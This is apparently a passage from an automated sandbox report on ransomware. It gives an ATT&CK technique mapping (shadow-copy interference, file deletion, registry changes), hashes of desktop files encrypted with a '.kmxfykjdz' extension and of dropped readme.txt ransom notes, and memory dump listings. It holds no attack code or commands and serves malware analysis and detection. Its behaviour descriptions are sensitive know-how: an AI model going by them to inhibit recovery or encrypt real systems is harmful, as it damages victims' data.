- Interacts with shadow copies
PID:2764

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\4KE4OZWV.txt

MD5
d0163b836a0d255e1474cf8214fea827

SHA1
70af887b75cdf3817fde7a3f489732ea62225c63

SHA256
0cc4ebfb5acd6203bfd323d64bd7d5af2637af7b8c00cbbbc476a8b5804fdacf

SHA512
7af53b657e899cb3f8e381c729888c587469a15b7eebc08919861dce28300fff9d430a585f49345a6bfd871d9e5ca58bcd30af194904a07318ced2806302d5d0

Download Submit
C:\Users\Admin\Desktop\ConvertToCompare.zip.kmxfykjdz

MD5
560f033b757d8868cc41ecbffab44c9a

SHA1
cbc2f926e9e2c043f0742527b9488cddca19d2de

SHA256
0a4a6f34efb2ff0d7e7d0b054e53c643552015ec43370f20f36ad583c111e3da

SHA512
9d1e1fbcad416aeef8a6728d67fe6019b62b445de322432d6fb45930c4e3fd2ff583a6a558e9380cafbda7045a217ae2f401e6cd025da924988eac6605b10a0d

Download Submit
C:\Users\Admin\Desktop\DisableProtect.xls.kmxfykjdz

MD5
98289a4b19f4bcf1b8beda2d144dddd8

SHA1
d0b713d1cf6a10d7390b59879e130b87eaa91759

SHA256
d886582642d8f0aab9d6210550c6e8a6f2c4440903a6231b48e200229a9a361c

SHA512
3843d6aaffe08b0e1f16c750cbb93caf2b478077b291a4b11e58dbef2f992cd296fb8802f2fefdf637986ad055e4da48235d8e811eae6e8d7147acceb0dfdea1

Download Submit
C:\Users\Admin\Desktop\ExportRedo.jpeg.kmxfykjdz

MD5
e726c8f8321c94385a6b429d72e76401

SHA1
e740d91b9d25a26b1dabde69acf029b2bb32f73a

SHA256
a5d13c3736ab246fb24b5eabbe4c5a42e51e52c28d2c424e30315d86afa8d817

SHA512
02e6778ef0f4343b322c8ffc9d10c6d5690527dd347bf85bc0687550ac6beff1d0a612cee657ed13a6b70464dc4a4271b7dfd851a0630f5a1e76781121b3b840

Download Submit
C:\Users\Admin\Desktop\FindReceive.pdf.kmxfykjdz

MD5
34901e9aca4887faf763f4942aaab138

SHA1
0b30d2b5506956f9bae8a4a6729e694d44a8f7c5

SHA256
0aa229dc72ee0b8392721092fa1def7cef01a24d2fa803fcfc874198d3c81a95

SHA512
17a40fcfbcf7490d19f7770bb4edda52c6f5eaaeac9e87ae97a398042516e0647df0436699e311e88bf60e322cbbddd81f1e6026ef5028a01a4c64901108048f

Download Submit
C:\Users\Admin\Desktop\HideDebug.potx.kmxfykjdz

MD5
b20b8c1e3d80d7f232013a618d83fc27

SHA1
88e1fbb70d860964cd356acb2e44a78148faddf2

SHA256
bbf1d1901cf87e317080d8805e6b13f2e731639cb5418fae4d5e12fd73600bf2

SHA512
636e90bbe87643839ca0917c22746241e68e1b232ae04bd6ad4813a0cbe18f8ff8e9d88a0f09034d35c4ec1b0d0f6be295681b01071b93b8f3f13232f1497890

Download Submit
C:\Users\Admin\Desktop\InvokeResize.bmp.kmxfykjdz

MD5
152dc415e05a7fd73e2b2e169f954105

SHA1
96d0660a31d33e2ee1242cacd568d117152275fc

SHA256
8cae6f9eb849497faf0a2564d932a38e62179460196b1af304afd4d3f320e5b4

SHA512
8d873f698aeecbb7f73eeff2a7d766b0939836c1b05dce2f9242cae7f5644c66c7be3e70242f5fad3b3fe5c03f0c4d329fb884be5bf7728ac9c136e36e78fbe7

Download Submit
C:\Users\Admin\Desktop\LockProtect.iso.kmxfykjdz

MD5
6f5ee9687ad09188511ef7d4f63c250a

SHA1
0c2ac12bdc5e2b3ba96897087b83afe7596bd858

SHA256
20dbe138ae7696a03c42ff204ebf62e5f7cfafab182f7679471b6d7ad9526392

SHA512
4bd9c712c6701813b3d930c61dbce9dc6644daf20eee9e4d16886b79cf2eb2ffb81cf2fd1bb908dac186174856756a8597f5fa81352bbb2708de88e20a8b4c0c

Download Submit
C:\Users\Admin\Desktop\MergeMeasure.gif.kmxfykjdz

MD5
2488320ff228fb0c4aecbacfba867473

SHA1
c3b5e12f0008e6b12d3fdf172ba910ff03226175

SHA256
aee60fb4142a3275330cc8dbefac3cf600b53a2ad6977f7e65d32c052f784055

SHA512
f3427b5059e27c74a718bae1dcb081ec949c1bbdb599a9f67ce31e6a6ca087ef8f07b8d41ac75839eb4fb316f3967f20e18102f53c391f67936890f5c474c456

Download Submit
C:\Users\Admin\Desktop\NewStart.mov.kmxfykjdz

MD5
de59487ace37a49218f8b48b11c10627

SHA1
bfe1c45492e26ffe21b6dfde4eb01633b8d36ee2

SHA256
11ccaa38c6b104cbd6b8e13ab6707626d10831f18ecc92c2b415cb83f98f12aa

SHA512
1c1084fe7390ff4e4c57b8675cd643c848f2f2130428c3791b9e7db06ee0e72e39098d488d5212a6347127d9109fb705903ce750fe8fecec991f7465c4593465

Download Submit
C:\Users\Admin\Desktop\PopExit.docx.kmxfykjdz

MD5
945ff4058d44ebc62f80b0e8712a157f

SHA1
40e7dd9550aeb184ec878ee221c37aee7fdb62eb

SHA256
7b31481d03725b1b962bdc5ce3af9bcd9f3327c63ee25b6b55748ace2874a885

SHA512
d0f9abcfe9ad41277e6f6553fa8d6d1542853939b06ff803a8fb529fa65d7a5419a47d30ecca60441233898dbac2a2c3b51d57e17b4a13abd5b4c255f82dcb25

Download Submit
C:\Users\Admin\Desktop\SwitchRestore.mov.kmxfykjdz

MD5
81534702ba13cd41d7bc88af52d83d9b

SHA1
bb1a3de23c79e35c83ed6269b555053c11ac0ef8

SHA256
215a4112b6c1d9c91f9cf192c8e00075a7784da99a071d9b7b2747ce05148698

SHA512
accc1380b2459d13c15b3ef0692f3e4622cb40c604bf1cbf9c35a0b59086589f504278af4f0630655ac35dea8f9699a5c87c222d2003f80c640c25ed152cc4d1

Download Submit
C:\Users\Admin\Desktop\SwitchResume.vbs.kmxfykjdz

MD5
308c9fdc3806268e8a6629b93483833e

SHA1
f2902fc358eaa7b38ddff7233ed64b1086a3531a

SHA256
5be86af7b0e39fba305aec82a5af9424dfd4f17965416bbc32811384c90148ff

SHA512
2006c810cb1278413fb5da993a8bdfdcb5cd63609cb6bdb627cb75c605574a08a6ce30be531d285999d2f84f6999350d6a14dfca7dd71ab4f1f4d07beff3d92b

Download Submit
C:\Users\Admin\Desktop\readme.txt

MD5
b47fd9f1379304f00a49ac3043a89270

SHA1
e93d9a3510c4f68d8a75ebe8abb5bc5e4f05f496

SHA256
1f2217fcae4628dfb5906f2a478c7d23a9c557b011e40c24b0ccf9e5443d378a

SHA512
9fdb5ac31a8ad02373b1fe38764d56053bea543087182f41a3b6f224200ab3e5fa599429558b214157de46400074dab71822d09f9203e974de83f29bcf0f33d7

Download Submit
C:\Users\Public\readme.txt

MD5
b47fd9f1379304f00a49ac3043a89270

SHA1
e93d9a3510c4f68d8a75ebe8abb5bc5e4f05f496

SHA256
1f2217fcae4628dfb5906f2a478c7d23a9c557b011e40c24b0ccf9e5443d378a

SHA512
9fdb5ac31a8ad02373b1fe38764d56053bea543087182f41a3b6f224200ab3e5fa599429558b214157de46400074dab71822d09f9203e974de83f29bcf0f33d7

Download Submit
memory/472-152-0x0000000000000000-mapping.dmp

Download
memory/568-128-0x0000000000000000-mapping.dmp

Download
memory/608-133-0x0000000000000000-mapping.dmp

Download
memory/916-92-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

Filesize
4KB

Download
memory/916-69-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/916-63-0x0000000001DE0000-0x0000000001DE1000-memory.dmp

Filesize
4KB

Download
memory/916-62-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/916-61-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/916-60-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/916-98-0x0000000001D10000-0x0000000001D11000-memory.dmp

Filesize
4KB

Download
memory/916-94-0x0000000001CD0000-0x0000000001CD1000-memory.dmp

Filesize
4KB

Download
memory/916-96-0x0000000001D00000-0x0000000001D01000-memory.dmp

Filesize
4KB

Download
memory/916-68-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/916-93-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

Filesize
4KB

Download
memory/916-67-0x0000000001DF0000-0x0000000001DF1000-memory.dmp

Filesize
4KB

Download
memory/1072-154-0x0000000000000000-mapping.dmp

Download
memory/1072-155-0x0000000075011000-0x0000000075013000-memory.dmp

Filesize
8KB

Download
memory/1124-103-0x0000000001DA0000-0x0000000001DA4000-memory.dmp

Filesize
16KB

Download
memory/1208-64-0x0000000002AA0000-0x0000000002AB0000-memory.dmp

Filesize
64KB

Download
memory/1288-151-0x0000000000000000-mapping.dmp

Download
memory/1388-153-0x0000000000000000-mapping.dmp

Download
memory/1512-129-0x0000000000000000-mapping.dmp

Download
memory/1596-132-0x0000000000000000-mapping.dmp

Download
memory/1616-147-0x0000000000000000-mapping.dmp

Download
memory/1728-149-0x0000000000000000-mapping.dmp

Download
memory/1840-131-0x0000000000000000-mapping.dmp

Download
memory/1968-148-0x0000000000000000-mapping.dmp

Download
memory/2016-150-0x0000000000000000-mapping.dmp

Download
memory/2024-97-0x0000000000000000-mapping.dmp

Download
memory/2024-100-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

Filesize
8KB

Download
memory/2180-156-0x0000000000000000-mapping.dmp

Download
memory/2196-157-0x0000000000000000-mapping.dmp

Download
memory/2212-158-0x0000000000000000-mapping.dmp

Download
memory/2252-160-0x0000000000000000-mapping.dmp

Download
memory/2280-162-0x0000000000000000-mapping.dmp

Download
memory/2388-166-0x0000000000000000-mapping.dmp

Download
memory/2436-167-0x0000000000000000-mapping.dmp

Download
memory/2456-168-0x0000000000000000-mapping.dmp

Download
memory/2484-169-0x0000000000000000-mapping.dmp

Download
memory/2544-170-0x0000000000000000-mapping.dmp

Download